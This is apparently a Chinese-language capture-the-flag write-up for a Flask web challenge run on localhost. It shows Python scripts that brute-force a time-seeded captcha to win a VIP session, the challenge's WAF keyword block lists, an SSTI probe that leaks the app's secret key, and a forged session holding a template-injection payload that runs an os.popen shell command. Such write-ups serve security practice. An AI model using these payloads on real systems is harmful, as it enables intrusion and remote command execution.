显然 time 我们可以自己本地生成,1 到 100 的随机数,凹概率你不会?爆破他个几百上千次,总能终出的.

终出不了也别干了,机器爆破这么多次,1 到 100 总得终出吧.🥵

1
2
3
4
5
6
7
8
9
10
def captcha():
gen = Captcha(200, 80)
buf , captcha_text = gen.generate()

session['captcha'] = captcha_text
return buf.getvalue(), 200, {
'Content-Type': 'image/png',
'Content-Length': str(len(buf.getvalue()))
}
@app.route('/vip', methods=['POST'])

为此我们需要访问 captcha, 每次以当前时间戳 + 随机数为种子重置这个对象,所以要先访问 captch, 再访问 /vip.

流程是

1
重置Captcha对象,以当前时间戳加1100随机数->gen.generate()生成第一次随机数->/vip路由调用generate_code随机生成

因此,我们也需要对轴

1
2
3
4
gen = Captcha(200, 80, int(time.time()) + random.randint(1, 100))
gen.generate()
requests.get(url1 + "captcha", headers=headers)

首先完成这些操作,然后访问 captcha 路由,此时轴对上了

1
captcha = generate_code()

接下来生成一次 generate_code (), 并且访问 vip, 此时步调一致了,倘若种子一样,这样的请求不到 1 秒能完成,不会改变时间戳,那么本地生成的 code 和题目一样,就能够拿到 vip 了

今は👴の勝利だ

これが👴の最後のエクスポート!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import random

import requests
from utils.captcha import Captcha,generate_code
import time
url1 ="http://127.0.0.1:15000/"
url2 = "http://127.0.0.1:5001/"
while 1:
headers={"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",

"Connection":"close" ,
"Accept-Encoding":"gzip, deflate",
"Accept-Language":"en",
"Accept":"*/*"
}
# timekey = int(time.time())

gen = Captcha(200, 80, int(time.time()) + random.randint(1, 100))
gen.generate()
captcha = generate_code()
requests.get(url1 + "captcha", headers=headers)

# rawBody = "{\"captcha\":\""+captcha+"\"}"
json = {"captcha": captcha}
# print("json:" + f"{json}")

session = requests.session()
headers2 = {"Accept": "*/*", "User-Agent":
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
"Connection": "close", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en",
"Content-Type": "application/json"}
cookies = {"session": "eyJjYXB0Y2hhIjoidHBUViJ9.ZUDlMw.Iwx2YVR3CqHYbpqySJWOEJX1hac"}
res = session.post(url1 + "vip", json=json, headers=headers, cookies=cookies)
try:
print(res.headers['Set-Cookie'])
break
except:
continue



因为爆破,凹概率,循环跑就行

微信截图_20231101112607

哈哈哈!👴は一番の天才だ

有 waf, 面白い!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rule = [
['\\x','[',']','.','getitem','print','request','args','cookies','values','getattribute','config'], # rule 1
['(',']','getitem','_','%','print','config','args','values','|','\'','\"','dict',',','join','.','set'], # rule 2
['\'','\"','dict',',','config','join','\\x',')','[',']','attr','__','list','globals','.'], # rule 3
['[',')','getitem','request','.','|','config','popen','dict','doc','\\x','_','\{\{','mro'], # rule 4
['\\x','(',')','config','args','cookies','values','[',']','\{\{','.','request','|','attr'], # rule 5
['print', 'class', 'import', 'eval', '__', 'request','args','cookies','values','|','\\x','getitem'] # rule 6
]
def minic_waf(input):
waf_seq = random.sample(range(21),3)
for index in range(len(waf_seq)):
waf_seq[index] = transfrom(waf_seq[index])
if not singel_waf(input, rule[waf_seq[index]]):
return False
return True

规则比较独特,六个规则随机生成三个,其实只需满足一条就行,同样是凹概率.

这种 ssti 随便打,拿个密钥先.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests


url1 ="http://127.0.0.1:15000/"

data = {
"story"
:
"{{config}}"
}
cookies = {"session":"eyJ2aXAiOnRydWV9.ZUHlMg.eUH9ICmOx6JUujFsb8MxYu4QkOE"}
session = requests.session()
while 1:
res = requests.post(url=url1+"write",json=data,cookies=cookies)
if "success" in res.text:
cookie = res.headers['Set-Cookie'].split("=")[1].split(";")[0]
print(cookie)
res2 = requests.get(url=url1+"story",cookies = {"session":cookie})
print(res2.text)
break

这种爆破对👴来说还是太简单了,随随便便写个脚本冲了

拿到密钥能干很多事了,

1
2
3
4
5
6
app.config['SECRET_KEY'] = '6e409b39-94e4-4557-9549-961bafdebf98'

@app.route('/story', methods=['GET'])
def session_get():
session['story'] = "{{url_for.__globals__.__builtins__['__import__']('os').popen('cat flag').read()}}"
return session['story']

👴不想跑 flasksession 脚本,太懒了,费劲,😡,👴就直接在路由里面设置了.

微信截图_20231101135012

eeeeeeeeez!

其它简单的题,👴不想动了.

终于🐛完了,好📕👚啊

これが君の知らない物語